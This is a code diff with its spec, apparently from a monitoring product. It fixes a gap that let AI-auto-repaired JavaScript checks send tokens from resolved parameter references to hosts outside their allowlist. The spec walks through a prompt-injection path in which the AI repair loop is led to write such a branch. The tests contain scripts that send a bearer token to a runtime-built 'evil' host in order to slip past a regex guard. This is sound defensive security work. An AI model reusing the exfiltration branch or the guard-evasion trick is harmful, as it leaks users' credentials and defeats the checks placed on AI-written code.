diff --git a/server/internal/checkers/checkjs/checker.go b/server/internal/checkers/checkjs/checker.go index 0ae214b37..6bd49d422 100644 --- a/server/internal/checkers/checkjs/checker.go +++ b/server/internal/checkers/checkjs/checker.go @@ -151,8 +151,9 @@ func (c *JSChecker) Execute(ctx context.Context, config checkerdef.Config) (*che defer cancel() // A script `repair: auto` applied is held to the hosts the version before - // it reached, on every run with real secrets (spec 2026-10-24-01), as the - // repair loop held it. A caller that already holds the run (the AI loop) + // it reached, on every run (spec 2026-10-24-01). Whatever its `secrets`: + // a `${param:…}` or `${env:…}` reference in the env or the script carries + // a real value too once resolved (spec 2026-10-26-02). A caller that already holds the run (the AI loop) // keeps its own list. The check worker decided it on the stored config, // before references were resolved (spec 2026-10-25-01): the config here // may hold their values, which no grant was issued for. @@ -162,8 +163,7 @@ func (c *JSChecker) Execute(ctx context.Context, config checkerdef.Config) (*che } var repairList *egress.HostAllowlist - if held && hasSecretValues(cfg.Secrets) && - egress.HostAllowlistFrom(ctx) == nil { + if held && egress.HostAllowlistFrom(ctx) == nil { repairList = egress.NewHostAllowlist(hosts) ctx = egress.WithHostAllowlist(ctx, repairList) } @@ -254,17 +254,6 @@ func WithStoredRepairHold(ctx context.Context, stored map[string]any) context.Co return context.WithValue(ctx, repairHoldKey{}, repairHold{hosts: hosts, held: held}) } -// hasSecretValues reports a secrets map holding at least one real value. -func hasSecretValues(secrets map[string]string) bool { - for _, value := range secrets { - if value != "" { - return true - } - } - - return false -} - // withheldHost names a refused host built at runtime: it may carry a secret. const withheldHost = "[a host built at runtime]" diff --git a/server/internal/checkers/checkjs/repair_allowlist_test.go b/server/internal/checkers/checkjs/repair_allowlist_test.go index 70a5621ac..268314459 100644 --- a/server/internal/checkers/checkjs/repair_allowlist_test.go +++ b/server/internal/checkers/checkjs/repair_allowlist_test.go @@ -129,34 +129,54 @@ func TestRepairGrantLetsTheGrantedHostThrough(t *testing.T) { r.True(acme.sawSecret()) } -// A run without secret values, or a config without a grant (a human-written -// script, or one whose edit dropped the grant), is not held. -func TestRepairGrantOnlyHoldsItsScriptWithSecrets(t *testing.T) { +// A granted config is held even with no `secrets` value: its env may carry +// a resolved `${param:…}` reference (spec 2026-10-26-02). The branch to the +// evilco sink is refused and the sink gets nothing. +func TestRepairGrantHoldsAScriptWithoutSecrets(t *testing.T) { t.Parallel() - for _, name := range []string{"no grant", "no secrets"} { - t.Run(name, func(t *testing.T) { - t.Parallel() + r := require.New(t) + acme, evil := newSecretSink(t), newSecretSink(t) + script := `var auth = { headers: { Authorization: "Bearer " + env.TOKEN } }; +var r = http.get("http://127.0.0.1:` + acme.port + `/", auth); +if (env.FIRE === "yes") { http.get("http://" + ["local", "host"].join("") + ":` + evil.port + `/", auth); } +return { status: r.error ? "down" : "up", output: { e: r.error } };` + cfg := repairedConfig(script, []string{"127.0.0.1"}) + // The env as materializeConfig hands it over: the `${param:token}` the + // grant was issued for, resolved to its value. + cfg.AI.RepairGrant = checkconfig.RepairDigest(script, map[string]string{"FIRE": "yes", "TOKEN": "${param:token}"}) + cfg.Env = map[string]string{"FIRE": "yes", "TOKEN": repairTestSecret} + cfg.Secrets = map[string]string{"TOKEN": ""} - r := require.New(t) - acme, evil := newSecretSink(t), newSecretSink(t) - cfg := repairedConfig(acmeScript(acme.port, `"http://localhost:`+evil.port+`"`), []string{"127.0.0.1"}) + stored := cfg.GetConfig() + stored["env"] = map[string]any{"FIRE": "yes", "TOKEN": "${param:token}"} + + result, err := (&JSChecker{}).Execute(WithStoredRepairHold(context.Background(), stored), cfg) + r.NoError(err) + r.Equal(checkerdef.StatusError, result.Status, result.Output) + r.Equal(true, result.Output[OutputKeyRepairRefused]) + r.Zero(evil.hits(), "the refused host received nothing") + r.True(acme.sawSecret(), "positive control: the granted host was reached") +} - if name == "no grant" { - cfg.AI.RepairGrant, cfg.AI.RepairHosts = "", nil - } else { - cfg.Secrets = map[string]string{"TOKEN": ""} - } +// A config without a grant (a human-written script, or one whose edit +// dropped the grant) is not held: the same branch reaches its host. +func TestRepairGrantOnlyHoldsAGrantedScript(t *testing.T) { + t.Parallel() - _, held := cfg.RepairAllowlist() - r.Equal(name == "no secrets", held) + r := require.New(t) + acme, evil := newSecretSink(t), newSecretSink(t) + cfg := repairedConfig(acmeScript(acme.port, `"http://localhost:`+evil.port+`"`), []string{"127.0.0.1"}) + cfg.AI.RepairGrant, cfg.AI.RepairHosts = "", nil + cfg.Secrets = map[string]string{"TOKEN": ""} - result, err := (&JSChecker{}).Execute(context.Background(), cfg) - r.NoError(err) - r.Equal(checkerdef.StatusUp, result.Status, result.Output) - r.Equal(1, evil.hits(), "the new host is reachable") - }) - } + _, held := cfg.RepairAllowlist() + r.False(held) + + result, err := (&JSChecker{}).Execute(context.Background(), cfg) + r.NoError(err) + r.Equal(checkerdef.StatusUp, result.Status, result.Output) + r.Equal(1, evil.hits(), "the new host is reachable") } // A grant left on a script it was not issued for (a write path that skipped diff --git a/server/internal/checkworker/repair_grant_agent_test.go b/server/internal/checkworker/repair_grant_agent_test.go index d21cdc582..61464b8d7 100644 --- a/server/internal/checkworker/repair_grant_agent_test.go +++ b/server/internal/checkworker/repair_grant_agent_test.go @@ -90,8 +90,11 @@ func (s *agentGrantServer) serve(writer http.ResponseWriter, req *http.Request) // runAgentGrantJob runs an auto-repaired js check (grant over the stored // script and env) through the real agent claim: the stored config holds a // `${param:tag}` reference, the sealed envelope holds the overlay the server -// resolved, and the agent merges it over the config before executeJob. -func runAgentGrantJob(t *testing.T, script string, env map[string]any, overlayKey string) *agents.ClientFrame { +// resolved, and the agent merges it over the config before executeJob. Without +// withSecrets the envelope carries no `secrets`, only the resolved reference. +func runAgentGrantJob( + t *testing.T, script string, env map[string]any, overlayKey string, withSecrets bool, +) *agents.ClientFrame { t.Helper() r := require.New(t) @@ -113,7 +116,10 @@ func runAgentGrantJob(t *testing.T, script string, env map[string]any, overlayKe }, } - overlay := map[string]any{"secrets": map[string]any{"TOKEN": "s3cr3t-token-value"}} + overlay := map[string]any{} + if withSecrets { + overlay["secrets"] = map[string]any{"TOKEN": "s3cr3t-token-value"} + } switch overlayKey { case "script": @@ -173,12 +179,15 @@ func TestRepairGrantHoldsOnTheAgentPathWithAParamReference(t *testing.T) { t.Parallel() cases := map[string]struct { - suffix string - env map[string]any - overlayKey string + suffix string + env map[string]any + overlayKey string + withSecrets bool }{ - "param in the script": {suffix: "\n// run ${param:tag}", overlayKey: "script"}, - "param in env": {env: map[string]any{"TAG": "${param:tag}"}, overlayKey: "env"}, + "param in the script": {suffix: "\n// run ${param:tag}", overlayKey: "script", withSecrets: true}, + "param in env": {env: map[string]any{"TAG": "${param:tag}"}, overlayKey: "env", withSecrets: true}, + // Spec 2026-10-26-02: no `secrets`, the token is the resolved reference. + "param in env, no secrets": {env: map[string]any{"TOKEN": "${param:tag}"}, overlayKey: "env"}, } for name, tc := range cases { @@ -199,7 +208,12 @@ func TestRepairGrantHoldsOnTheAgentPathWithAParamReference(t *testing.T) { env[key] = value } - frame := runAgentGrantJob(t, grantScript(acmePort, evilPort)+tc.suffix, env, tc.overlayKey) + script := grantScript(acmePort, evilPort) + tc.suffix + if !tc.withSecrets { + script = paramScript(acmePort, evilPort) + } + + frame := runAgentGrantJob(t, script, env, tc.overlayKey, tc.withSecrets) r.NotNil(frame) if fire { diff --git a/server/internal/checkworker/repair_grant_test.go b/server/internal/checkworker/repair_grant_test.go index d6f472632..1abf5b412 100644 --- a/server/internal/checkworker/repair_grant_test.go +++ b/server/internal/checkworker/repair_grant_test.go @@ -34,8 +34,11 @@ func repairSink(t *testing.T) (string, *atomic.Int32) { // runRepairGrantJob stores an auto-repaired js check (grant over the stored // script and env, hosts 127.0.0.1) and runs its job through the claim and -// executeJob path, references resolved by materializeConfig. -func runRepairGrantJob(t *testing.T, script string, env map[string]any, granted bool) *models.Result { +// executeJob path, references resolved by materializeConfig. A nil secrets +// stores none. +func runRepairGrantJob( + t *testing.T, script string, env, secrets map[string]any, granted bool, +) *models.Result { t.Helper() r := require.New(t) @@ -62,12 +65,12 @@ func runRepairGrantJob(t *testing.T, script string, env map[string]any, granted ai["repair_grant"] = jsconfig.RepairDigest(script, plainEnv) } - check := seedRefCheck(t, ctx, dbSvc, org.UID, "grant-check", string(checkerdef.CheckTypeJS), models.JSONMap{ - "script": script, - "env": env, - "secrets": map[string]any{"TOKEN": "s3cr3t-token-value"}, - "ai": ai, - }) + config := models.JSONMap{"script": script, "env": env, "ai": ai} + if secrets != nil { + config["secrets"] = secrets + } + + check := seedRefCheck(t, ctx, dbSvc, org.UID, "grant-check", string(checkerdef.CheckTypeJS), config) jobs, _, err := runner.backend.ClaimJobs(ctx, worker.UID, nil, 10, 10, time.Minute) r.NoError(err) @@ -81,6 +84,9 @@ func runRepairGrantJob(t *testing.T, script string, env map[string]any, granted return lastResultForJob(t, dbSvc, ctx, jobs[0]) } +// grantSecrets is the secrets map of a check holding its token in `secrets`. +func grantSecrets() map[string]any { return map[string]any{"TOKEN": "s3cr3t-token-value"} } + // grantScript calls the granted host and, when env.FIRE is "yes", localhost // (standing for an attacker's host) with the secret. func grantScript(acmePort, evilPort string) string { @@ -90,6 +96,49 @@ if (env.FIRE === "yes") { http.get("http://localhost:` + evilPort + `/", auth); return { status: r.error ? "down" : "up", output: { e: r.error } };` } +// paramScript reads its token from env.TOKEN (a `${param:tag}` reference, no +// `secrets`), calls the granted host and, when env.FIRE is "yes", a host it +// builds at runtime (localhost, standing for evilco.test) with the token. +func paramScript(acmePort, evilPort string) string { + return `var auth = { headers: { Authorization: "Bearer " + env.TOKEN } }; +var r = http.get("http://127.0.0.1:` + acmePort + `/", auth); +if (env.FIRE === "yes") { http.get("http://" + ["local", "host"].join("") + ":` + evilPort + `/", auth); } +return { status: r.error ? "down" : "up", output: { e: r.error } };` +} + +// Regression (spec 2026-10-26-02): a granted check with no `secrets`, whose +// token comes from a `${param:…}` reference in env, is held on schedule too. +// The branch to a host built at runtime is refused and receives nothing; the +// same check reaching only its granted host runs up. +func TestRepairGrantHoldsAScheduledRunWithoutSecrets(t *testing.T) { + t.Parallel() + + for _, fire := range []string{"yes", "no"} { + t.Run("fire="+fire, func(t *testing.T) { + t.Parallel() + + r := require.New(t) + acmePort, acmeHits := repairSink(t) + evilPort, evilHits := repairSink(t) + + result := runRepairGrantJob(t, paramScript(acmePort, evilPort), + map[string]any{"FIRE": fire, "TOKEN": "${param:tag}"}, nil, true) + r.NotNil(result.Status) + + if fire == "yes" { + r.Equal(int(checkerdef.StatusError), *result.Status, result.Output) + r.Equal(true, result.Output[checkjs.OutputKeyRepairRefused]) + } else { + r.Equal(int(checkerdef.StatusUp), *result.Status, result.Output) + r.NotContains(result.Output, checkjs.OutputKeyRepairRefused) + } + + r.Zero(evilHits.Load(), "the other host received nothing") + r.Equal(int32(1), acmeHits.Load(), "the granted host was reached") + }) + } +} + // Regression (spec 2026-10-25-01): a `${…}` reference in the stored script or // env changes the text materializeConfig hands the checker, which used to // lift the repair grant. The run is held to the stored grant: the host @@ -113,7 +162,7 @@ func TestRepairGrantHoldsAScheduledRunWithAReference(t *testing.T) { acmePort, acmeHits := repairSink(t) evilPort, evilHits := repairSink(t) - result := runRepairGrantJob(t, grantScript(acmePort, evilPort)+tc.suffix, tc.env, true) + result := runRepairGrantJob(t, grantScript(acmePort, evilPort)+tc.suffix, tc.env, grantSecrets(), true) r.NotNil(result.Status) r.Equal(int(checkerdef.StatusError), *result.Status, result.Output) r.Equal(true, result.Output[checkjs.OutputKeyRepairRefused]) @@ -136,7 +185,7 @@ func TestRepairGrantScheduledRunControls(t *testing.T) { acmePort, acmeHits := repairSink(t) evilPort, evilHits := repairSink(t) - result := runRepairGrantJob(t, grantScript(acmePort, evilPort), map[string]any{"FIRE": "no"}, true) + result := runRepairGrantJob(t, grantScript(acmePort, evilPort), map[string]any{"FIRE": "no"}, grantSecrets(), true) r.Equal(int(checkerdef.StatusUp), *result.Status, result.Output) r.NotContains(result.Output, checkjs.OutputKeyRepairRefused) r.Equal(int32(1), acmeHits.Load()) @@ -151,7 +200,7 @@ func TestRepairGrantScheduledRunControls(t *testing.T) { evilPort, evilHits := repairSink(t) result := runRepairGrantJob(t, grantScript(acmePort, evilPort)+"\n// run ${var:uuid}", - map[string]any{"FIRE": "yes"}, false) + map[string]any{"FIRE": "yes"}, grantSecrets(), false) r.Equal(int(checkerdef.StatusUp), *result.Status, result.Output) r.Equal(int32(1), acmeHits.Load()) r.Equal(int32(1), evilHits.Load(), "not held: the other host is reachable") diff --git a/specs/done/2026/10/2026-10-26-02-ai-repair-hold-skips-param-only-secrets.md b/specs/done/2026/10/2026-10-26-02-ai-repair-hold-skips-param-only-secrets.md new file mode 100644 index 000000000..fae81ea2e --- /dev/null +++ b/specs/done/2026/10/2026-10-26-02-ai-repair-hold-skips-param-only-secrets.md @@ -0,0 +1,61 @@ +--- +model: opus +effort: medium +--- + +# The `repair: auto` host hold skips runs whose secrets come from `${param:}` / `${env:}` references instead of `secrets` + +## Problem + +Found by the security scan of 2026-10-26 (finding U1). + +- **Severity:** low. It is a variant of S1 (`specs/done/2026/10/2026-10-25-01-ai-repair-grant-dropped-by-reference-resolution.md`) and narrows the R1 fix (`specs/done/2026/10/2026-10-24-01-ai-repair-auto-apply-partial-runtime-host.md`). +- **Who can trigger it:** the same as R1 and S1. A third party who controls content the repair loop reads, with no SolidPing account. Two conditions on the target org: + - it has an AI-authored JS check with `ai.repair: auto`; + - that check takes its credential from a `${param:…}` (or allowed `${env:…}`) reference in `env` or in the script, and holds no `secrets` value. +- The model must also follow the injection, and the candidate must get past the static `hiddenHost` gate, as in S1. + +**The flaw.** A scheduled run is held to its repair grant only when the `secrets` map has a value: + +- `JSChecker.Execute` takes the hold decided on the stored config (`checkers/checkjs/checker.go:159-162`). It then installs the allowlist only if `held && hasSecretValues(cfg.Secrets)` (`checker.go:165`). +- `hasSecretValues` looks at `cfg.Secrets` alone (`checker.go:257-266`). +- Before `Execute`, `materializeConfig` merges the `${param:…}` overlay and resolves the `${env:…}` / `${var:…}` references in every config string. That covers the strings nested in `env` (`checkworker/worker.go:1019-1063`, overlay at `:1050`; `secretref/secretref.go:198-205`). +- `LookupParam` returns the plaintext of a secret-flagged parameter (`secretref/resolvers.go:59-61`). The docs allow references in both maps (`web/docs/docs/features/javascript-checks.md:92`). +- So a check with `env: { TOKEN: "${param:api-token}" }` and no `secrets` runs on schedule with the real token in `env.TOKEN`, and with no host allowlist. + +**Why the repair loop does not catch it.** The loop and the verification run use the stored `env`, where the reference is still the literal `${param:api-token}`. They pass `target.secrets` (`aichecks/repair.go:391`, `:435`), and the runner holds a run only when those secrets have a value (`aichecks/runner.go:72`, `:97`). In the loop the candidate therefore sees nothing secret and reaches its hosts unheld. That is harmless there, but `repair: auto` then applies the candidate with a grant: + +- `addedReference` does not fire, because the reference sits in the previous `env`, not in the candidate script. +- `hiddenHost` is a regex over direct call syntax (`aichecks/guards.go:352-388`). A call through an aliased API is not counted (S1). + +On schedule the grant is present and `held` is true, but the run is not held, because `Secrets` is empty. Nothing produces `aiRepairHostRefused`, and `RevokeAutoRepair` never fires. + +**Impact.** The injected branch can send the resolved parameter value to a host built at runtime. The docs promise the opposite: "Every run holding real secrets is held to them" (`web/docs/docs/features/ai-authored-checks.md:150-151`). The current test pins the gap as intended: `TestRepairGrantOnlyHoldsItsScriptWithSecrets` ("no secrets" case, `checkers/checkjs/repair_allowlist_test.go:134-160`). + +## Proposal + +1. Hold every scheduled run of a granted config, whatever its secrets (`checkers/checkjs/checker.go:165`): + - Drop `hasSecretValues(cfg.Secrets)` from the condition when the hold comes from a stored grant (`held` from `WithStoredRepairHold` or `RepairAllowlist`). + - The grant lists the hosts the previous version reached, so a passing version loses nothing. + - Keep the `egress.HostAllowlistFrom(ctx) == nil` clause: the AI loop keeps its own list. +2. If step 1 is judged too broad, decide "holds real secrets" on what the run actually carries: + - a non-empty `checkJob.ParamOverlay`; + - or any `${param:}` / `${env:}` reference in the stored `script` or `env`. + - Carry the result out of band next to the hold, the way `WithStoredRepairHold` carries `held` (`checkworker/worker.go:1191-1197`, `:1370`). It must not be a config key. +3. Update `web/docs/docs/features/ai-authored-checks.md:148-160` to match: a version `repair: auto` applied is held on every scheduled run, or on every run holding a secret, references included. + +## Tests + +- `checkers/checkjs/repair_allowlist_test.go`: turn the "no secrets" case of `TestRepairGrantOnlyHoldsItsScriptWithSecrets` around. + - A granted config with an empty `Secrets` and an `env` value standing for a resolved parameter runs a branch to an `evilco` sink. + - The run is refused (`aiRepairHostRefused`), and the sink gets no hit. + - This fails before the fix, since today the sink is hit. + - Keep the "no grant" case as the positive control: a human-written script with the same branch still reaches the sink. +- `checkworker/repair_grant_test.go`: go through the real claim, `materializeConfig` and the JS checker. + - The stored config has a grant, no `secrets`, and `env: { TOKEN: "${param:token}" }` resolved through a real parameter. A run whose branch targets a runtime-built host is refused. + - Positive control: the same check reaching only its granted host is up. +- Agent path (`checkworker/repair_grant_agent_test.go`): the same no-`secrets` case is held. + +## To verify + +- Whether any non-repair caller runs `JSChecker.Execute` on a granted config without secrets and relies on it being unheld (`grep -rn 'JSChecker{}' server/internal`). The AI runner installs its own list first, so step 1 should not affect it. diff --git a/web/docs/docs/features/ai-authored-checks.md b/web/docs/docs/features/ai-authored-checks.md index fe003a26f..6e353b225 100644 --- a/web/docs/docs/features/ai-authored-checks.md +++ b/web/docs/docs/features/ai-authored-checks.md @@ -148,7 +148,8 @@ with a normal version restore. These fall back to a proposal instead: A version `repair: auto` applied can never reach, on schedule, a host the version before it could not. It stores those hosts in its `ai` block (`repair_hosts`, with `repair_grant` binding them to that script and env). Every -run holding real secrets is held to them, as the repair loop was. A connection +scheduled run of that version is held to them, whether its credentials sit in +`secrets` or come from a `${param:…}` or `${env:…}` reference. A connection to any other host fails the run with an error, and the check goes back to `repair: propose`, so the next repair needs a human. Editing the script or the env drops the grant: a version you wrote is not held.